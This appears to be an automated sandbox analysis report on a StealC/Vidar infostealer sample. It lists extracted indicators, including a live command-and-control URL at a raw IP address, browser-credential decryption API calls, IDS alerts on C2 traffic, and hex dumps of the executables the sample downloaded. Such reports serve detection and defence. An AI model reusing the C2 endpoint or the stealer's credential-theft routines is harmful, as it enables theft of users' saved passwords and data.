Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f3a012f9d51cd40dc7ed26aa6659a1f2a44404d56a5d35d9ca1d8363d6e7f1d5
Instruction ID: 3c23345db0ae8f0850605aff586147d412f84401ae4f81bbb210021ca148f34f
Opcode Fuzzy Hash: f3a012f9d51cd40dc7ed26aa6659a1f2a44404d56a5d35d9ca1d8363d6e7f1d5
Instruction Fuzzy Hash: 95F096329007019BD7617BBA98C7BDA33A0AF0071DF24414FF454A62D2CF6C59419EBE

Source: 0.2.file.exe.4a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}
Source: 0.2.file.exe.4a0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_004A9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_004AC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004A7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004A9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004B8EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:05 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:10 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 08:19:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 